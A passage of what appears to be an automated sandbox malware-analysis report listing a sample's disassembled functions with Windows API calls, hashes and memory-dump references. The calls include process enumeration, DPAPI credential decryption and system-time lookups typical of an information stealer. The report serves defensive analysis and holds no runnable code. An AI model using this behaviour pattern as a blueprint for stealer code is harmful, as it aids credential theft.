Part of subcall function 00E2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E2AA12

Part of subcall function 00E2A8A0: lstrcpy.KERNEL32(?,00E30E17), ref: 00E2A905

CloseHandle.KERNEL32(?), ref: 00E28761

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 8ac7f025ad76df0ecbacd965a7455e859210c301ad7bd0b5259718dd193ca2dd
Instruction ID: d966febd2f65466e380628eb2fd14e2c183fac0d70b6b9e6af5ae9c5df6406b2
Opcode Fuzzy Hash: 8ac7f025ad76df0ecbacd965a7455e859210c301ad7bd0b5259718dd193ca2dd
Instruction Fuzzy Hash: 64315E71901228EBCB28DF50EC45FEEB7B8FB44700F1041A9F50AB2190DB746A45CFA1

Function 00E28EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00E15184,40000001,00000000,00000000,?,00E15184), ref: 00E28EC0

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 7c1f3580ddfe000a62680cc6e9599fedcdc4a0d7fd7dffb3802949da62d19c8c
Instruction ID: c1f206107feb7b2944921aba7746038a308ac83e89c1e8479ddff491fe48822e
Opcode Fuzzy Hash: 7c1f3580ddfe000a62680cc6e9599fedcdc4a0d7fd7dffb3802949da62d19c8c
Instruction Fuzzy Hash: 28110370301208FFEB04CF64EA84FAB37A9AF89314F10A548F9199B244DB35EC41DB60

Function 00E27980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00E30E00,00000000,?), ref: 00E279B0
RtlAllocateHeap.NTDLL(00000000), ref: 00E279B7
GetLocalTime.KERNEL32(?,?,?,?,?,00E30E00,00000000,?), ref: 00E279C4
wsprintfA.USER32 ref: 00E279F3

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 28a1032d1f06f4ad160b82898875db0eebaf1577111cf3fbdf3d9083ba6790fc
Instruction ID: 4f37ff43601c3aa53936028d9a135c3ae7e162068defd0afac56f370e4abba3b
Opcode Fuzzy Hash: 28a1032d1f06f4ad160b82898875db0eebaf1577111cf3fbdf3d9083ba6790fc
Instruction Fuzzy Hash: 541118B2A04218EACB149FC9E945BBFB7F8FB4CB11F10461AF645A2284D2395940CBB0

Function 00E27A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,008FD9A0,00000000,?,00E30E10,00000000,?,00000000,00000000), ref: 00E27A63
RtlAllocateHeap.NTDLL(00000000), ref: 00E27A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,008FD9A0,00000000,?,00E30E10,00000000,?,00000000,00000000,?), ref: 00E27A7D
wsprintfA.USER32 ref: 00E27AB7

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 1bf8ac53643c265a3d0af3a752e13ccd366aa4f66c96de33cb9d2cfd51694f44
Instruction ID: 9282343b54d5c7a24a89ac75bd34b2b351eb50ae960eeddd67a1e417631984f6
Opcode Fuzzy Hash: 1bf8ac53643c265a3d0af3a752e13ccd366aa4f66c96de33cb9d2cfd51694f44
Instruction Fuzzy Hash: D11152B1A45228EBDB208B54DC59FAAB778F744721F104395E516A32C0D7755E40CF51

Function 011E0944 Relevance: 5.3, Strings: 3, Instructions: 1593COMMON

Download Yara Rule

Strings

$Bt5, xrefs: 011E142E
$Bt5, xrefs: 011E1420
2+u, xrefs: 011E0AA8

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $Bt5$$Bt5$2+u
API String ID: 0-2252982423
Opcode ID: cc6031a83a667432ace5132151ef80b45964b5d2f686d965eff0e81eeb7c2efc
Instruction ID: 067d4c6056bdba047b5d2e5721cfe7e82f90f3b61749a41027a5b22f4d7fd4b0
Opcode Fuzzy Hash: cc6031a83a667432ace5132151ef80b45964b5d2f686d965eff0e81eeb7c2efc
Instruction Fuzzy Hash: 2AB2D4F3A0C6109FE308AE29DC8567ABBE5EF94720F16893DEAC5C3744E63558408797

Function 011D502C Relevance: 5.3, Strings: 3, Instructions: 1564COMMON

Download Yara Rule

Strings

g2w, xrefs: 011D5DFA
ZAt^, xrefs: 011D5F11
`c]?, xrefs: 011D580A

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ZAt^$`c]?$g2w
API String ID: 0-3269156922
Opcode ID: fe1cbc57413a2ae66edb0e1d35d599d300bb4b5d375c4177ddfdc1b37184127b
Instruction ID: 4fa7bf646741efee2788e3bf5d307b7ebbf17b01444fb8dc205410251f2b14e8
Opcode Fuzzy Hash: fe1cbc57413a2ae66edb0e1d35d599d300bb4b5d375c4177ddfdc1b37184127b
Instruction Fuzzy Hash: 3FB2E2F360C6049FE708AE2DEC8567AFBE5EF94320F16493DEAC487744EA3558048796

Function 00E23720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00E2E118,00000000,00000001,00E2E108,00000000), ref: 00E23758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00E237B0

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: c49e455cd0d652ed34fd16a566ab5b0c033516668986c169068b7f59c9254067
Instruction ID: abeb8d47390466496da7a8e34d9caf28134b9d1640029bcf1efa74ed748483a3
Opcode Fuzzy Hash: c49e455cd0d652ed34fd16a566ab5b0c033516668986c169068b7f59c9254067
Instruction Fuzzy Hash: EF410971A00A2C9FDB28DB58DC94B9BB7B5BB48702F4051D8E609EB2D0E7716E85CF50

Function 00E19B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00E19B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00E19BA3
LocalFree.KERNEL32(?), ref: 00E19BD3

Memory Dump Source

Source File: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 7a5ba16658b5e29367fc5dace9ebdccf6eb2913ab3b98d81a2d5f9ce7a005dd8
Instruction ID: c3add8691d038afb6e3ff95acdb4169060e5946209795c1edd566606d2342a37
Opcode Fuzzy Hash: 7a5ba16658b5e29367fc5dace9ebdccf6eb2913ab3b98d81a2d5f9ce7a005dd8
Instruction Fuzzy Hash: 5811F7B8A00209EFDB04DF94D989EAE77B5FF88300F104598E915A7380D775AE50CFA1

Function 011ECAC7 Relevance: 3.8, Strings: 2, Instructions: 1263COMMON

Download Yara Rule

Strings

a*N, xrefs: 011ECF4D
NG_Q, xrefs: 011ECD9E

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: NG_Q$a*N
API String ID: 0-2983026385
Opcode ID: 2af4a32d5df84fa84541de3a463004e6c2043251a3743f033f706457eeb6ba84
Instruction ID: 38990c72d37c82fe4e45496ec73700fc75addd968a7f4540e55ca4f44b03d305
Opcode Fuzzy Hash: 2af4a32d5df84fa84541de3a463004e6c2043251a3743f033f706457eeb6ba84
Instruction Fuzzy Hash: 8092D3F3A082009FE714AE2DEC8567ABBE5EF94720F1A493DEAC5C7344E63558018797

Function 01190E95 Relevance: 2.7, Strings: 2, Instructions: 198COMMON

Download Yara Rule

Strings

m0o, xrefs: 01190F6F
?v, xrefs: 01190F02

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: m0o$?v
API String ID: 0-2276714564
Opcode ID: 528501d093106100ea44b1c5e07491e36a32c20cb221d20ea9cc4e08ff377120
Instruction ID: fba675195ae82f0089080afaf10dc4b7354eb24ca6181472d5e4bcf5f481d017
Opcode Fuzzy Hash: 528501d093106100ea44b1c5e07491e36a32c20cb221d20ea9cc4e08ff377120
Instruction Fuzzy Hash: 495146F3A086009FD7046F2DEC4577AF7EAEFD4720F1A852DEAC487340EA3548448696

Function 011E5DB5 Relevance: 2.7, Strings: 1, Instructions: 1417COMMON

Download Yara Rule

Strings

Fm{}, xrefs: 011E6AAF

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Fm{}
API String ID: 0-1028336946
Opcode ID: 144e833b3cfb2db4128e1def7e36d416f143e4b27821ea1ddc990d3c6585214c
Instruction ID: 51068e41b42efe49e85066cffc40a5c80400edab46196f208acba818201dd35e
Opcode Fuzzy Hash: 144e833b3cfb2db4128e1def7e36d416f143e4b27821ea1ddc990d3c6585214c
Instruction Fuzzy Hash: 2D9229F360C2049FE304AE2DEC8567AFBE9EF94660F1A493DE6C4C3744E63598058796

Function 010BA14D Relevance: 1.4, Strings: 1, Instructions: 198COMMON

Download Yara Rule

Strings

Cg, xrefs: 010BA2A9

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000ECD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.00000000012FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449146691.0000000001312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449411479.0000000001313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449524692.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449537821.00000000014B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Cg
API String ID: 0-2454403474
Opcode ID: 0d99d8e997c6df10b85e5d97961b5c6512c59a532ac2e46e5cfe97491b4a7050
Instruction ID: b504af1b2e9230897789ab76316b3295dbc22f9006c09efd4d35a6eb306763c7
Opcode Fuzzy Hash: 0d99d8e997c6df10b85e5d97961b5c6512c59a532ac2e46e5cfe97491b4a7050
Instruction Fuzzy Hash: DD5135F290C2049BE344BE28DC8577AB7E5EF94310F06893CEAC493744E97A98158787

Function 011D0608 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

-Ulm, xrefs: 011D0687

Memory Dump Source

Source File: 00000000.00000002.1449146691.000000000106E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true

Associated: 00000000.00000002.1448984376.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmpDownload File
